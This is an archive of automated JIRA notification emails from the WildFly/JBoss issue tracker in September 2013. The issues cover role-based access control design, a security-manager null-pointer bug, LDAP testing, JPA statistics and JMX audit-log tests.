This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:20:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 11:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2042) Enforcement of "RunAs"
	policies
In-Reply-To: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500436.1378826207000.18523.1378826404190@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2042?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803178#comment-12803178 ] 

Heiko Braun commented on WFLY-2042:
-----------------------------------

maybe that's already implemented that way?
                
> Enforcement of "RunAs" policies
> -------------------------------
>
>                 Key: WFLY-2042
>                 URL: https://issues.jboss.org/browse/WFLY-2042
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Currently we do support the role overrides with the additional {roles=[foo,bar]} header. This should be restricted to only take effect when the principal has SuperUser priviledges. In all other cases that header should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:20:04 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Tue, 10 Sep 2013 11:20:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2041) JMX auditlog tests failing if
 assertions are enabled
In-Reply-To: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500435.1378826205000.18528.1378826404430@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2041?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-2041:
-----------------------------

    Fix Version/s: 8.0.0.Beta1

    
> JMX auditlog tests failing if assertions are enabled
> ----------------------------------------------------
>
>                 Key: WFLY-2041
>                 URL: https://issues.jboss.org/browse/WFLY-2041
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMX
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Tomaz Cerar
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> If assertions are enabled for surefire there are plenty AuditLog related failed tests  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:20:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 10 Sep 2013 11:20:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2041) JMX auditlog tests failing if
 assertions are enabled
In-Reply-To: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500435.1378826205000.18514.1378826403805@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2041?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803177#comment-12803177 ] 

Heiko Braun commented on WFLY-2041:
-----------------------------------

maybe this already implemented that way?
                
> JMX auditlog tests failing if assertions are enabled
> ----------------------------------------------------
>
>                 Key: WFLY-2041
>                 URL: https://issues.jboss.org/browse/WFLY-2041
>             Project: WildFly
>          Issue Type: Bug
>          Components: JMX
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Tomaz Cerar
>            Assignee: Kabir Khan
>
> If assertions are enabled for surefire there are plenty AuditLog related failed tests  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:22:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Tue, 10 Sep 2013 11:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2041) JMX auditlog tests failing if
 assertions are enabled
In-Reply-To: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500435.1378826205000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500435.1378826205000.18533.1378826523576@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2041?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan updated WFLY-2041:
-----------------------------

        Parent: WFLY-456
    Issue Type: Sub-task  (was: Bug)

    
> JMX auditlog tests failing if assertions are enabled
> ----------------------------------------------------
>
>                 Key: WFLY-2041
>                 URL: https://issues.jboss.org/browse/WFLY-2041
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: JMX
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Tomaz Cerar
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> If assertions are enabled for surefire there are plenty AuditLog related failed tests  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:32:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Tue, 10 Sep 2013 11:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2043) RBAC config for slave HCs
 unable to access master HC
In-Reply-To: <JIRA.12500438.1378827090966@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500438.1378827090966@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500438.1378827090966.18546.1378827123414@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2043:
--------------------------------------

             Summary: RBAC config for slave HCs unable to access master HC
                 Key: WFLY-2043
                 URL: https://issues.jboss.org/browse/WFLY-2043
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management
            Reporter: Brian Stansberry
            Assignee: Brian Stansberry
             Fix For: 8.0.0.CR1


The RBAC configuration is stored in domain.xml. A slave HC unable to contact the master may not have access to domain.xml content. Need to provide config options:

1) If the host is running with cached-dc set, is using the cached data allowed?

Default should be yes, and this may not be configurable at all in WF 8 (or perhaps ever). Use of --cached-dc on the command line in general implies that the local domain.xml content is authoritative.

2) The admin-only mode without --cached-dc. Configure whether the system should:

a) contact the master to pull down domain wide config, but not actually register as a member.

b) if a) isn't enabled or fails:

i) fail boot
ii) run with any authenticated user able to act as SuperUser.

The default would be b)ii) as this is compatible with previous releases.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:42:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-742) Create a dummy
 InitialDirContext to allow for testing.
In-Reply-To: <JIRA.12437566.1305541390000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12437566.1305541390000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12437566.1305541390000.18559.1378827723765@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-742?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-742.
-----------------------------------

         Assignee: Darran Lofthouse
    Fix Version/s: 8.0.0.Beta1
                       (was: Awaiting Volunteers)
       Resolution: Out of Date


Switching to use ApacheDS for LDAP testing, no longer a need for a mock context as we have an LDAP server to test against.
                
> Create a dummy InitialDirContext to allow for testing.
> ------------------------------------------------------
>
>                 Key: WFLY-742
>                 URL: https://issues.jboss.org/browse/WFLY-742
>             Project: WildFly
>          Issue Type: Task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.Beta1
>
>
> The testing of any LDAP configuration brings in the dependency on an LDAP server, this is fine for major QA testing but not so fine for the testsuite run in multiple environments.
> This task is to either find an existing implementation we can use or to implement a dummy InitialDirContext that can simulate the connection to LDAP allowing testing of the LDAP code.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:44:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:44:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-904) The property
 AuthorizationManager is null exceptions and NPE on SimpleSecurityManager
 when connecting firstly from a remote client
In-Reply-To: <JIRA.12488809.1365455159000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488809.1365455159000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488809.1365455159000.18569.1378827843917@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-904?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-904:
-------------------------------------

    Assignee: Darran Lofthouse  (was: Anil Saldhana)

    
> The property AuthorizationManager is null exceptions and NPE on SimpleSecurityManager when connecting firstly from a remote client
> ----------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-904
>                 URL: https://issues.jboss.org/browse/WFLY-904
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>         Environment: Eclipse Juno SR2 with JBoss Tools, Mac OS X, Sun JDK 6
>            Reporter: Fernando Nasser
>            Assignee: Darran Lofthouse
>              Labels: eap6
>         Attachments: NPEinSimpleSecurityManager, PBOX000075, QSecuredEJB.jar, QSecuredEJB.zip, SecurityRelatedSettings
>
>
> Description of problem:
> If one tries and use security enabled EJBs from a remote client (authenticated connection) before connecting first from a servlet both a Server NPE and an erroneous exception are thrown.  However, if one uses some servlet-based authentication first, the missing field is "primed" and from that point on the remote application can use the secure EJBs normally, proper Role authorization is checked and enforced etc.  With absolutely no changes in configuration, code (incl. annotation) whatsoever.  Any number of remote client connections will succeed until you restart the server.  Then the errors are back, until you "prime" the Server by connecting using a Servlet.
> More complete data is attached, but here are some info:
> NPE is thrown at:
> org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:394)
> Bean method invocation fails with exceptions containing the message:
> JBAS011048: Failed to construct component instance
> I am using the "other" security context for testing.
> I am running the Server in standalone mode.
> When I say remote I mean not in the Server, but I am running my client from localhost.
> Version-Release number of selected component (if applicable):  Seen on EAP 6.1.0 alpha (apparently present on AS 7.1.1 as well).
>  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:44:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:44:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-904) The property
 AuthorizationManager is null exceptions and NPE on SimpleSecurityManager
 when connecting firstly from a remote client
In-Reply-To: <JIRA.12488809.1365455159000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488809.1365455159000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488809.1365455159000.18573.1378827844114@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-904?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-904:
----------------------------------

    Fix Version/s: 9.0.0.CR1

    
> The property AuthorizationManager is null exceptions and NPE on SimpleSecurityManager when connecting firstly from a remote client
> ----------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-904
>                 URL: https://issues.jboss.org/browse/WFLY-904
>             Project: WildFly
>          Issue Type: Bug
>          Components: Security
>         Environment: Eclipse Juno SR2 with JBoss Tools, Mac OS X, Sun JDK 6
>            Reporter: Fernando Nasser
>            Assignee: Darran Lofthouse
>              Labels: eap6
>             Fix For: 9.0.0.CR1
>
>         Attachments: NPEinSimpleSecurityManager, PBOX000075, QSecuredEJB.jar, QSecuredEJB.zip, SecurityRelatedSettings
>
>
> Description of problem:
> If one tries and use security enabled EJBs from a remote client (authenticated connection) before connecting first from a servlet both a Server NPE and an erroneous exception are thrown.  However, if one uses some servlet-based authentication first, the missing field is "primed" and from that point on the remote application can use the secure EJBs normally, proper Role authorization is checked and enforced etc.  With absolutely no changes in configuration, code (incl. annotation) whatsoever.  Any number of remote client connections will succeed until you restart the server.  Then the errors are back, until you "prime" the Server by connecting using a Servlet.
> More complete data is attached, but here are some info:
> NPE is thrown at:
> org.jboss.as.security.service.SimpleSecurityManager.authenticate(SimpleSecurityManager.java:394)
> Bean method invocation fails with exceptions containing the message:
> JBAS011048: Failed to construct component instance
> I am using the "other" security context for testing.
> I am running the Server in standalone mode.
> When I say remote I mean not in the Server, but I am running my client from localhost.
> Version-Release number of selected component (if applicable):  Seen on EAP 6.1.0 alpha (apparently present on AS 7.1.1 as well).
>  

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:48:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2042) Enforcement of "RunAs"
	policies
In-Reply-To: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500436.1378826207000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500436.1378826207000.18581.1378828083767@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2042?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803182#comment-12803182 ] 

Darran Lofthouse commented on WFLY-2042:
----------------------------------------

Yes a check is already in place to only allow mapping to a different role if the user has already been granted the SuperUser role.
                
> Enforcement of "RunAs" policies
> -------------------------------
>
>                 Key: WFLY-2042
>                 URL: https://issues.jboss.org/browse/WFLY-2042
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Currently we do support the role overrides with the additional {roles=[foo,bar]} header. This should be restricted to only take effect when the principal has SuperUser priviledges. In all other cases that header should be ignored.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:50:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:50:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2035) Conflict between
 mgmt-groups.properties and "/access=authorisation"
In-Reply-To: <JIRA.12500389.1378813972000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500389.1378813972000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500389.1378813972000.18596.1378828203711@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2035?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-2035.
------------------------------------

    Resolution: Duplicate Issue

    
> Conflict between mgmt-groups.properties and "/access=authorisation"
> -------------------------------------------------------------------
>
>                 Key: WFLY-2035
>                 URL: https://issues.jboss.org/browse/WFLY-2035
>             Project: WildFly
>          Issue Type: Clarification
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.CR1
>
>
> The two concepts are conflicting IMO. It would be better to use a single source for the role assignments. Currently the assigned roles either showup in mgmt-groups.properties or within the management model.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:54:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1895) Provide a "default" role for
 users with no other role specified
In-Reply-To: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498830.1376775776000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498830.1376775776000.18603.1378828443882@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1895?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803185#comment-12803185 ] 

Darran Lofthouse commented on WFLY-1895:
----------------------------------------

WFLY-1895 and WFLY-2037 are very closely related overall I think the following changes should be made: -
 1 - If a user has no roles assigned the HTTP server should be returning a HTTP 403 response to indicate permission has been denied, need to take into account that future access control providers may not be role based when implementing this.
 2 - Enhance the role mapping configuration with a default role to be assigned to all authenticated callers if no other roles are assigned. That potentially even eliminates the need for the 'simple' access control provider.

                
> Provide a "default" role for users with no other role specified
> ---------------------------------------------------------------
>
>                 Key: WFLY-1895
>                 URL: https://issues.jboss.org/browse/WFLY-1895
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.CR1
>
>
> Currently it seems that when using RBAC provider users with no defined role are unable to read domain model at all.  Consequently logging into Admin Console leads to 500 error page. Similar errors in CLI. 
> In relation to this, it should be considered what is the expected behavior of unsecured management interface. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 11:54:04 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 11:54:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2037) Login as user with no role
 assigned leads to 500 error page
In-Reply-To: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500302.1378733298000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500302.1378733298000.18609.1378828444111@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2037?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803186#comment-12803186 ] 

Darran Lofthouse commented on WFLY-2037:
----------------------------------------

WFLY-1895 and WFLY-2037 are very closely related overall I think the following changes should be made: -
 1 - If a user has no roles assigned the HTTP server should be returning a HTTP 403 response to indicate permission has been denied, need to take into account that future access control providers may not be role based when implementing this.
 2 - Enhance the role mapping configuration with a default role to be assigned to all authenticated callers if no other roles are assigned. That potentially even eliminates the need for the 'simple' access control provider.

                
> Login as user with no role assigned leads to 500 error page
> -----------------------------------------------------------
>
>                 Key: WFLY-2037
>                 URL: https://issues.jboss.org/browse/WFLY-2037
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Jakub Cechacek
>            Assignee: Brian Stansberry
>              Labels: rbac-filed-by-qa
>             Fix For: 8.0.0.Beta1
>
>
> Some message other than the default 500 error page should be displayed in such case. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:04:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Tue, 10 Sep 2013 12:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2044) Rework Subject propagation to
 avoid marshaling.
In-Reply-To: <JIRA.12500441.1378828999829@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500441.1378828999829@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500441.1378828999829.18641.1378829043732@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2044:
--------------------------------------

             Summary: Rework Subject propagation to avoid marshaling.
                 Key: WFLY-2044
                 URL: https://issues.jboss.org/browse/WFLY-2044
             Project: WildFly
          Issue Type: Sub-task
          Components: Domain Management, Security
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 8.0.0.Beta1


Rework Subject propagation to avoid marshalling - i.e. describe the contents of the Subject within the protocol and allow it to be reconstructed on the far side.


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:21:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2032) component upgrade to jipijapa
	1.0.0.Beta1
In-Reply-To: <JIRA.12500338.1378755911000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500338.1378755911000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500338.1378755911000.18655.1378830063553@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2032?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow resolved WFLY-2032.
--------------------------------

    Resolution: Done

    
> component upgrade to jipijapa 1.0.0.Beta1
> -----------------------------------------
>
>                 Key: WFLY-2032
>                 URL: https://issues.jboss.org/browse/WFLY-2032
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:21:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 12:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2032) component upgrade to jipijapa
	1.0.0.Beta1
In-Reply-To: <JIRA.12500338.1378755911000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500338.1378755911000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500338.1378755911000.18662.1378830063907@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2032?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow closed WFLY-2032.
------------------------------


    
> component upgrade to jipijapa 1.0.0.Beta1
> -----------------------------------------
>
>                 Key: WFLY-2032
>                 URL: https://issues.jboss.org/browse/WFLY-2032
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:25:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Tue, 10 Sep 2013 12:25:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2008) Cannot enabled metrics for
	JPA units
In-Reply-To: <JIRA.12500050.1378384157000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500050.1378384157000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500050.1378384157000.18666.1378830303966@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2008?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803197#comment-12803197 ] 

Scott Marlow commented on WFLY-2008:
------------------------------------

We can now read the enabled metric, I believe that the 'undefined' is expected when setting.

Setting:
{quote}
 :write-attribute(name=enabled,value=true)
{
    "outcome" => "success",                                                                                                                                                                                    
    "result" => undefined                                                                                                                                                                                      
}                  
{quote}

Reading:
{quote}
ls                                                                                                                                      
collection                                  collection-update-count=0                   flush-count=0                               query-execution-max-time-query-string=null                                 
entity                                      completed-transaction-count=0               hibernate-persistence-unit=2lc.jar#TEST_PU  second-level-cache-hit-count=0                                             
entity-cache                                connect-count=0                             optimistic-failure-count=0                  second-level-cache-miss-count=0                                            
query-cache                                 enabled=true                                prepared-statement-count=0                  second-level-cache-put-count=0                                             
close-statement-count=0                     entity-delete-count=0                       query-cache-hit-count=0                     session-close-count=0                                                      
collection-fetch-count=0                    entity-fetch-count=0                        query-cache-miss-count=0                    session-open-count=0                                                       
collection-load-count=0                     entity-insert-count=0                       query-cache-put-count=0                     successful-transaction-count=0                                             
collection-recreated-count=0                entity-load-count=0                         query-execution-count=0                                                                                                
collection-remove-count=0                   entity-update-count=0                       query-execution-max-time=0                     
{quote}
                
> Cannot enabled metrics for JPA units
> ------------------------------------
>
>                 Key: WFLY-2008
>                 URL: https://issues.jboss.org/browse/WFLY-2008
>             Project: WildFly
>          Issue Type: Bug
>          Components: JPA / Hibernate
>            Reporter: Heiko Braun
>            Assignee: Scott Marlow
>             Fix For: 8.0.0.Beta1
>
>
> In the past we could set the enabled attribute turn the statistics, this doesn't work anymore. It remains 'undefined'. See this example:
> {noformat}
> [domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:write-attribute(name=enabled,value=true)
> {
>     "outcome" => "success",
>     "result" => undefined
> }
> [domain at localhost:9990 /] /host=master/server=stage1/deployment=jboss-as-kitchensink-jsp.war/subsystem=jpa/hibernate-persistence-unit=jboss-as-kitchensink-jsp.war#primary:read-resource(include-runtime=true)     
> {
>     "outcome" => "success",
>     "result" => {
>         "close-statement-count" => 0L,
>         "collection-fetch-count" => 0L,
>         "collection-load-count" => 0L,
>         "collection-recreated-count" => 0L,
>         "collection-remove-count" => 0L,
>         "collection-update-count" => 0L,
>         "completed-transaction-count" => 0L,
>         "connect-count" => 0L,
>         "enabled" => undefined,
>         "entity-delete-count" => 0L,
>         "entity-fetch-count" => 0L,
>         "entity-insert-count" => 0L,
>         "entity-load-count" => 0L,
>         "entity-update-count" => 0L,
>         "flush-count" => 0L,
>         "hibernate-persistence-unit" => "jboss-as-kitchensink-jsp.war#primary",
>         "optimistic-failure-count" => 0L,
>         "prepared-statement-count" => 0L,
>         "query-cache-hit-count" => 0L,
>         "query-cache-miss-count" => 0L,
>         "query-cache-put-count" => 0L,
>         "query-execution-count" => 0L,
>         "query-execution-max-time" => 0L,
>         "query-execution-max-time-query-string" => "null",
>         "second-level-cache-hit-count" => 0L,
>         "second-level-cache-miss-count" => 0L,
>         "second-level-cache-put-count" => 0L,
>         "session-close-count" => 0L,
>         "session-open-count" => 0L,
>         "successful-transaction-count" => 0L,
>         "collection" => undefined,
>         "entity" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
>         "entity-cache" => {"org.jboss.as.quickstarts.kitchensinkjsp.model.Member" => undefined},
>         "query-cache" => undefined
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 10 12:29:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Tue, 10 Sep 2013 12:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2040) RBAC + JMX: auditor can't
 read sensitive non-core MBeans
In-Reply-To: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500404.1378817677000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500404.1378817677000.18674.1378830543473@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2040?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12803198#comment-12803198 ] 

Kabir Khan commented on WFLY-2040:
----------------------------------

[~lthon] Do you have a link to the test you mentioned? It would just be nice to have something to run even if it is not complete yet.
                
> RBAC + JMX: auditor can't read sensitive non-core MBeans
> --------------------------------------------------------
>
>                 Key: WFLY-2040
>                 URL: https://issues.jboss.org/browse/WFLY-2040
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, JMX
>            Reporter: Ladislav Thon
>            Assignee: Kabir Khan
>              Labels: rbac-filed-by-qa
>
> If I set non-core MBeans to be sensitive, like
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:jmx:1.3">
>     <expose-resolved-model/>
>     <expose-expression-model/>
>     <remoting-connector/>
>     <sensitivity non-core-mbeans="true"/>
> </subsystem>
> {code}
